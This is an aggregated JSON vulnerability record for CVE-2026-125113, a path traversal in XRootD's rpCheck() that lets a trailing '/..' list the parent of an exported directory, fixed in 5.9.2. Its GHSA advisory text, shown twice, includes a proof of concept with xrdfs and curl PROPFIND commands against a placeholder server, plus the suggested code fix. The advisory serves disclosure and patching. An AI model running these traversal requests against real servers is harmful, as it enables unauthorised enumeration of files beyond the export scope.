{"id":"CVE-2026-125113","aliases":["EUVD-2026-120494","GHSA-vj8v-p5vw-m6v5","UBUNTU-CVE-2026-125113"],"status":"published","title":"XRootD: Path traversal in directory listing allows access to the parent directory via trailing \"..\" pattern","description":"The XRootD project provides a high-performance, fault-tolerant, and secure solution for handling large amounts of data distributed across multiple storage resources. Prior to version 5.9.2, XRootD's rpCheck() function in src/XrdXrootd/XrdXrootdXeq.cc rejects a parent-directory component only when two dots are followed by a slash and does not reject a terminal two-dot component. An unauthenticated attacker can append /.. to an exported path in xrdfs ls or an HTTP PROPFIND request, bypass the all.export directory scope, and cause directory and filename enumeration in the parent directory under oss.localroot. The demonstrated vector does not permit file download or disclose file contents. This issue is fixed in version 5.9.2.","severity":{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00342,"percentile":0.28077,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-20","CWE-22"],"published":"2026-04-10T19:50:39Z","modified":"2026-11-11T09:39:21Z","fixes":[{"ecosystem":"PyPI","package":"xrootd","fixed_in":["5.9.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"xrootd","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.9.2"}]}]},{"source":"osv","ecosystem":"PyPI","package":"xrootd","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.9.2"}]}],"versions":["4.10.0","4.11.0","4.11.1","4.11.2","4.11.3","4.12.0","4.12.2","4.12.3","4.12.4","4.12.5","4.12.6","4.12.7","4.8.4","4.8.5","4.9.0","4.9.1","5.0.0","5.0.1","5.0.2","5.0.3","5.1.1","5.2.0","5.3.0","5.3.1","5.3.2","5.3.3","5.3.4","5.4.0","5.4.1","5.4.2","5.4.3","5.5.0","5.5.1","5.5.2","5.5.3","5.5.4","5.5.5","5.6.0","5.6.1","5.6.2","5.6.3","5.6.4","5.6.5","5.6.6","5.6.7","5.6.8","5.6.9","5.7.0","5.7.1","5.7.2","5.7.3","5.8.0","5.8.1","5.8.2","5.8.3","5.8.4","5.9.0","5.9.1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"xrootd","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.0.3-4","5.3.2-1","5.3.3-1","5.3.4-1","5.4.0-1","5.4.0-2","5.4.1-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"xrootd","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.6.1-1","5.6.3-2","5.6.3-4","5.6.3-5","5.6.3-7","5.6.3-8","5.6.4-1","5.6.7-1","5.6.9-1","5.6.9-1build1","5.6.9-2"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"xrootd","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.9.1-3build1","6.0.0-4","6.0.3-1","6.1.0-1","6.1.0-1build1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"xrootd","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.8.4-2","5.9.0-1","5.9.1-1","5.9.1-2","5.9.1-3","5.9.1-3build1"]}],"products":[{"vendor":"xrootd","product":"xrootd"}],"references":[{"url":"https://github.com/xrootd/xrootd/security/advisories/GHSA-vj8v-p5vw-m6v5","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/xrootd/xrootd/commit/0b96a52e2439aecb74f3b3eef7e782bbfaf4a64a","tags":["x_refsource_MISC","fix"]},{"url":"https://github.com/xrootd/xrootd/releases/tag/v5.9.2","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/xrootd/xrootd/commit/45efac7267a115ca4f2102214498e8cb011eb69b","tags":["web"]},{"url":"http://github.com/xrootd/xrootd/releases/tag/v5.9.2","tags":["web"]},{"url":"https://github.com/advisories/GHSA-vj8v-p5vw-m6v5"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/125xxx/CVE-2026-125113.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-125113","tags":["advisory"]},{"url":"https://github.com/xrootd/xrootd","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-125113","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-125113","tags":["report"]},{"url":"github.com/xrootd/xrootd","tags":["report"]},{"url":"github.com/xrootd/xrootd/commit/45efac7267a115ca4f2102214498e8cb011eb69b","tags":["report"]},{"url":"github.com/xrootd/xrootd/releases/tag/v5.9.2","tags":["report"]},{"url":"github.com/xrootd/xrootd/security/advisories/ghsa-vj8v-p5vw-m6v5","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-125113","title":"XRootD: Path traversal in directory listing allows access to the parent directory via trailing \"..\" pattern","description":"The XRootD project provides a high-performance, fault-tolerant, and secure solution for handling large amounts of data distributed across multiple storage resources. Prior to version 5.9.2, XRootD's rpCheck() function in src/XrdXrootd/XrdXrootdXeq.cc rejects a parent-directory component only when two dots are followed by a slash and does not reject a terminal two-dot component. An unauthenticated attacker can append /.. to an exported path in xrdfs ls or an HTTP PROPFIND request, bypass the all.export directory scope, and cause directory and filename enumeration in the parent directory under oss.localroot. The demonstrated vector does not permit file download or disclose file contents. This issue is fixed in version 5.9.2.","status":"published","published":"2026-11-09T22:12:49.814Z","modified":"2026-11-10T16:18:49.224Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-20","CWE-22"],"updated_at":"2026-11-10T17:39:36.263121Z"}],"euvd":[{"id":"EUVD-2026-120494","description":"The XRootD project provides a high-performance, fault-tolerant, and secure solution for handling large amounts of data distributed across multiple storage resources. Prior to version 5.9.2, XRootD's rpCheck() function in src/XrdXrootd/XrdXrootdXeq.cc rejects a parent-directory component only when two dots are followed by a slash and does not reject a terminal two-dot component. An unauthenticated attacker can append /.. to an exported path in xrdfs ls or an HTTP PROPFIND request, bypass the all.export directory scope, and cause directory and filename enumeration in the parent directory under oss.localroot. The demonstrated vector does not permit file download or disclose file contents. This issue is fixed in version 5.9.2.","status":"published","published":"2026-11-09T22:12:49Z","modified":"2026-11-10T16:18:49Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"updated_at":"2026-11-09T23:18:32.235826Z"}],"ghsa":[{"id":"GHSA-vj8v-p5vw-m6v5","title":"xrootd has path traversal in directory listing that allows access to the parent directory via trailing \"..\" pattern","description":"## Summary\n\nA path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending `/..` (specifically without trailing slash) to an exported path in `xrdfs ls` or `HTTP PROPFIND` requests.\n\nThis bypass ignores the `all.export` restriction.\n\n## Affected component\n\n`src/XrdXrootd/XrdXrootdXeq.cc`, and more precisely the functions `rpCheck()` and `Squash()` used in `do_Dirlist()` ([link](https://github.com/xrootd/xrootd/blob/19aa6dee76906fb4d56ded55e49bbe4171ade915/src/XrdXrootd/XrdXrootdXeq.cc#L696)), as they do not check if the path ends with \"..\" (without trailing slash).\nThen the path is passed directly to the filesystem layer.\n\n## PoC\n\n### Configuration\n\n- **Configuration file:** \n```conf\nxrd.port 1094\n\n# Exposing only /alice/\noss.localroot /srv/xrootd/data/\nall.export /alice/\n\n# HTTP\nxrd.protocol http:1094 libXrdHttp.so\n\n# Logs / monitoring\nall.adminpath /var/spool/xrootd\nall.pidpath /var/run/xrootd\n```\n\n- **Filesystem layout on the server:**\n```\n/srv/xrootd/data/\n├── alice/       ← only exported directory\n├── bob/         ← not exported\n└── secret.txt   ← not exported\n```\n\n- **Starting the server:**  `xrootd -c /etc/xrootd/xrootd.cfg` \n\n### Steps to reproduce\n\n**Normal behavior (access outside export is denied):**\n```bash\n$ xrdfs root://\u003cxrootd-server\u003e ls /\n[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.\n```\n\n**Bypass via trailing `..`:**\n```bash\n$ xrdfs root://\u003cxrootd-server\u003els /alice/..\n/alice/../alice\n/alice/../bob\n/alice/../secret.txt\n```\n \n**Also exploitable via HTTP PROPFIND:**\n\n```bash\ncurl -X PROPFIND 'http://\u003cxrootd-server\u003e:1094/alice/..' \\\n  --path-as-is \\\n  -H \"Depth: 1\"\n```\nReturns HTTP 200 with full listing of the parent directory, including unexported entries (`bob/`, `secret.txt`).\n\n**However, file download via this path traversal is blocked:**\n```bash\n$ xrdcp root://\u003cxrootd-server\u003e/alice/../secret.txt .\n[0B/0B][100%][==================================================][0B/s]  \nRun: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)\n```\n\n## Impact\nAn attacker can enumerate directories and filenames outside the authorized export scope defined by `all.export`. In the example above, a server exporting only `/alice/` leaks the existence of `/bob/` and `secret.txt` located in the parent directory (`oss.localroot`).\n\nFile download is not possible through this vector, as `xrdcp` correctly rejects the path with error 3010. The impact seems therefore limited to **information disclosure** (directory and filename enumeration).\n\nThis vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.\n\n## Suggested fix\n\nIn `rpCheck()` (`src/XrdXrootd/XrdXrootdXeq.cc`), change:\n```cpp\n// Before\nif (fn[0] == '.' \u0026\u0026 fn[1] == '.' \u0026\u0026 fn[2] == '/') return 1;\n\n// After\nif (fn[0] == '.' \u0026\u0026 fn[1] == '.' \u0026\u0026 (fn[2] == '/' || fn[2] == '\\0')) return 1;\n```","status":"published","published":"2026-04-10T19:50:39Z","modified":"2026-11-09T22:12:54Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-20","CWE-22"],"updated_at":"2026-11-09T22:20:10.289641Z"}],"nvd":[{"id":"CVE-2026-125113","description":"The XRootD project provides a high-performance, fault-tolerant, and secure solution for handling large amounts of data distributed across multiple storage resources. Prior to version 5.9.2, XRootD's rpCheck() function in src/XrdXrootd/XrdXrootdXeq.cc rejects a parent-directory component only when two dots are followed by a slash and does not reject a terminal two-dot component. An unauthenticated attacker can append /.. to an exported path in xrdfs ls or an HTTP PROPFIND request, bypass the all.export directory scope, and cause directory and filename enumeration in the parent directory under oss.localroot. The demonstrated vector does not permit file download or disclose file contents. This issue is fixed in version 5.9.2.","status":"published","published":"2026-11-09T23:17:21.43Z","modified":"2026-11-10T17:17:26.137Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-20","CWE-22"],"updated_at":"2026-11-10T20:21:09.433618Z"}],"osv":[{"id":"CVE-2026-125113","title":"XRootD: Path traversal in directory listing allows access to the parent directory via trailing \"..\" pattern","description":"The XRootD project provides a high-performance, fault-tolerant, and secure solution for handling large amounts of data distributed across multiple storage resources. Prior to version 5.9.2, XRootD's rpCheck() function in src/XrdXrootd/XrdXrootdXeq.cc rejects a parent-directory component only when two dots are followed by a slash and does not reject a terminal two-dot component. An unauthenticated attacker can append /.. to an exported path in xrdfs ls or an HTTP PROPFIND request, bypass the all.export directory scope, and cause directory and filename enumeration in the parent directory under oss.localroot. The demonstrated vector does not permit file download or disclose file contents. This issue is fixed in version 5.9.2.","status":"published","published":"2026-11-09T22:12:49.814Z","modified":"2026-11-12T07:06:12.398581009Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-20","CWE-22"],"updated_at":"2026-11-11T03:22:00.901153Z"},{"id":"GHSA-vj8v-p5vw-m6v5","title":"xrootd has path traversal in directory listing that allows access to the parent directory via trailing \"..\" pattern","description":"## Summary\n\nA path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending `/..` (specifically without trailing slash) to an exported path in `xrdfs ls` or `HTTP PROPFIND` requests.\n\nThis bypass ignores the `all.export` restriction.\n\n## Affected component\n\n`src/XrdXrootd/XrdXrootdXeq.cc`, and more precisely the functions `rpCheck()` and `Squash()` used in `do_Dirlist()` ([link](https://github.com/xrootd/xrootd/blob/19aa6dee76906fb4d56ded55e49bbe4171ade915/src/XrdXrootd/XrdXrootdXeq.cc#L696)), as they do not check if the path ends with \"..\" (without trailing slash).\nThen the path is passed directly to the filesystem layer.\n\n## PoC\n\n### Configuration\n\n- **Configuration file:** \n```conf\nxrd.port 1094\n\n# Exposing only /alice/\noss.localroot /srv/xrootd/data/\nall.export /alice/\n\n# HTTP\nxrd.protocol http:1094 libXrdHttp.so\n\n# Logs / monitoring\nall.adminpath /var/spool/xrootd\nall.pidpath /var/run/xrootd\n```\n\n- **Filesystem layout on the server:**\n```\n/srv/xrootd/data/\n├── alice/       ← only exported directory\n├── bob/         ← not exported\n└── secret.txt   ← not exported\n```\n\n- **Starting the server:**  `xrootd -c /etc/xrootd/xrootd.cfg` \n\n### Steps to reproduce\n\n**Normal behavior (access outside export is denied):**\n```bash\n$ xrdfs root://\u003cxrootd-server\u003e ls /\n[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.\n```\n\n**Bypass via trailing `..`:**\n```bash\n$ xrdfs root://\u003cxrootd-server\u003els /alice/..\n/alice/../alice\n/alice/../bob\n/alice/../secret.txt\n```\n \n**Also exploitable via HTTP PROPFIND:**\n\n```bash\ncurl -X PROPFIND 'http://\u003cxrootd-server\u003e:1094/alice/..' \\\n  --path-as-is \\\n  -H \"Depth: 1\"\n```\nReturns HTTP 200 with full listing of the parent directory, including unexported entries (`bob/`, `secret.txt`).\n\n**However, file download via this path traversal is blocked:**\n```bash\n$ xrdcp root://\u003cxrootd-server\u003e/alice/../secret.txt .\n[0B/0B][100%][==================================================][0B/s]  \nRun: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)\n```\n\n## Impact\nAn attacker can enumerate directories and filenames outside the authorized export scope defined by `all.export`. In the example above, a server exporting only `/alice/` leaks the existence of `/bob/` and `secret.txt` located in the parent directory (`oss.localroot`).\n\nFile download is not possible through this vector, as `xrdcp` correctly rejects the path with error 3010. The impact seems therefore limited to **information disclosure** (directory and filename enumeration).\n\nThis vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.\n\n## Suggested fix\n\nIn `rpCheck()` (`src/XrdXrootd/XrdXrootdXeq.cc`), change:\n```cpp\n// Before\nif (fn[0] == '.' \u0026\u0026 fn[1] == '.' \u0026\u0026 fn[2] == '/') return 1;\n\n// After\nif (fn[0] == '.' \u0026\u0026 fn[1] == '.' \u0026\u0026 (fn[2] == '/' || fn[2] == '\\0')) return 1;\n```","status":"published","published":"2026-04-10T19:50:39Z","modified":"2026-11-09T22:30:04.141413219Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-20","CWE-22"],"updated_at":"2026-11-09T22:41:08.537457Z"},{"id":"UBUNTU-CVE-2026-125113","description":"The XRootD project provides a high-performance, fault-tolerant, and secure solution for handling large amounts of data distributed across multiple storage resources. Prior to version 5.9.2, XRootD's rpCheck() function in src/XrdXrootd/XrdXrootdXeq.cc rejects a parent-directory component only when two dots are followed by a slash and does not reject a terminal two-dot component. An unauthenticated attacker can append /.. to an exported path in xrdfs ls or an HTTP PROPFIND request, bypass the all.export directory scope, and cause directory and filename enumeration in the parent directory under oss.localroot. The demonstrated vector does not permit file download or disclose file contents. This issue is fixed in version 5.9.2.","status":"published","published":"2026-04-10T19:50:39Z","modified":"2026-11-11T09:39:21.769630292Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"},{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"updated_at":"2026-11-11T10:01:18.898393Z"}]}}